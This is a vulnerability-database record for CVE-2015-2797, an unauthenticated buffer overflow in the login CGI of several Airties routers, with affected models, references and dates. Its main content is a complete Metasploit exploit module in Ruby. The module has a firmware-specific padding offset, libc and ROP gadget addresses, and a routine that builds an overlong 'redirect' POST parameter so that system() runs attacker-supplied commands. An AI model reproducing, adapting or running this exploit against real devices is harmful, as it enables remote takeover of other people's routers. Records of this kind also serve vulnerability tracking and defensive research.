ID

VAR-E-201506-0160


CVE

cve_id:CVE-2015-2797

Trust: 1.9

sources: BID: 75355 // EXPLOIT-DB: 37170 // EDBNET: 58433

EDB ID

37170


TITLE

Airties - login-cgi Buffer Overflow (Metasploit) - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 37170

DESCRIPTION

Airties - login-cgi Buffer Overflow (Metasploit). CVE-120335CVE-2015-2797 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 37170

AFFECTED PRODUCTS

vendor:airtiesmodel: - scope: - version: -

Trust: 1.0

vendor:airtiesmodel:airscope:eqversion:6372

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5760

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5750

Trust: 0.3

vendor:airtiesmodel:air 5650ttscope: - version: -

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5453

Trust: 0.3

vendor:airtiesmodel:air 5444ttscope: - version: -

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5443

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5442

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5343

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5342

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5341

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:5021

Trust: 0.3

vendor:airtiesmodel:airscope:eqversion:1.0.2.0

Trust: 0.3

sources: BID: 75355 // EXPLOIT-DB: 37170

EXPLOIT

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Airties login-cgi Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow vulnerability on several Airties routers.
The vulnerability exists in the handling of HTTP queries to the login cgi with long
redirect parametres. The vulnerability doesn't require authentication. This module has
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
},
'Author' =>
[
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'References' =>
[
['EDB', '36577'],
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
],
'Targets' =>
[
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
{
'Offset' => 359,
'LibcBase' => 0x2aad1000,
'RestoreReg' => 0x0003FE20, # restore s-registers
'System' => 0x0003edff, # address of system-1
'CalcSystem' => 0x000111EC, # calculate the correct address of system
'CallSystem' => 0x00041C10, # call our system
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
}
]
],
'DisclosureDate' => 'Mar 31 2015',
'DefaultTarget' => 0))

deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOUR')
end

def check
begin
res = send_request_cgi({
'uri' => '/cgi-bin/login',
'method' => 'GET'
})

if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Accessing the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavour => :echo,
:linemax => 100
)
end

def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values

# 0003FE20 lw $ra, 0x48+var_4($sp)
# 0003FE24 lw $s7, 0x48+var_8($sp)
# 0003FE28 lw $s6, 0x48+var_C($sp)
# 0003FE2C lw $s5, 0x48+var_10($sp)
# 0003FE30 lw $s4, 0x48+var_14($sp)
# 0003FE34 lw $s3, 0x48+var_18($sp)
# 0003FE38 lw $s2, 0x48+var_1C($sp)
# 0003FE3C lw $s1, 0x48+var_20($sp)
# 0003FE40 lw $s0, 0x48+var_24($sp)
# 0003FE44 jr $ra
# 0003FE48 addiu $sp, 0x48

shellcode << rand_text_alpha_upper(36) # padding
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system

# 00041C10 move $t9, $s0
# 00041C14 jalr $t9
# 00041C18 nop

shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parametre for call to system

# 000215B8 addiu $a0, $sp, 0x20
# 000215BC lw $ra, 0x1C($sp)
# 000215C0 jr $ra
# 000215C4 addiu $sp, 0x20

shellcode << rand_text_alpha_upper(28) # padding
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)

# 000111EC move $t9, $s5
# 000111F0 jalr $t9
# 000111F4 addiu $s0, 1

shellcode << cmd
end

def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/cgi-bin/login',
'encode_params' => false,
'vars_post' => {
'redirect' => shellcode,
'user' => rand_text_alpha(5),
'password' => rand_text_alpha(8)
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

Trust: 1.0

sources: EXPLOIT-DB: 37170

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 37170

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 37170

TYPE

login-cgi Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 37170

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

sources: EXPLOIT-DB: 37170

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 37170

EXTERNAL IDS

db:NVDid:CVE-2015-2797

Trust: 1.9

db:EXPLOIT-DBid:37170

Trust: 1.6

db:EDBNETid:58433

Trust: 0.6

db:BIDid:75355

Trust: 0.3

sources: BID: 75355 // EXPLOIT-DB: 37170 // EDBNET: 58433

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2015-2797

Trust: 1.6

url:http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/advisory

Trust: 1.0

url:https://www.exploit-db.com/exploits/37170/

Trust: 0.6

url:http://www.airties.com/

Trust: 0.3

url:http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/

Trust: 0.3

sources: BID: 75355 // EXPLOIT-DB: 37170 // EDBNET: 58433

SOURCES

db:BIDid:75355
db:EXPLOIT-DBid:37170
db:EDBNETid:58433

LAST UPDATE DATE

2022-07-27T09:27:23.224000+00:00


SOURCES UPDATE DATE

db:BIDid:75355date:2015-06-23T00:00:00

SOURCES RELEASE DATE

db:BIDid:75355date:2015-06-23T00:00:00
db:EXPLOIT-DBid:37170date:2015-06-01T00:00:00
db:EDBNETid:58433date:2015-06-01T00:00:00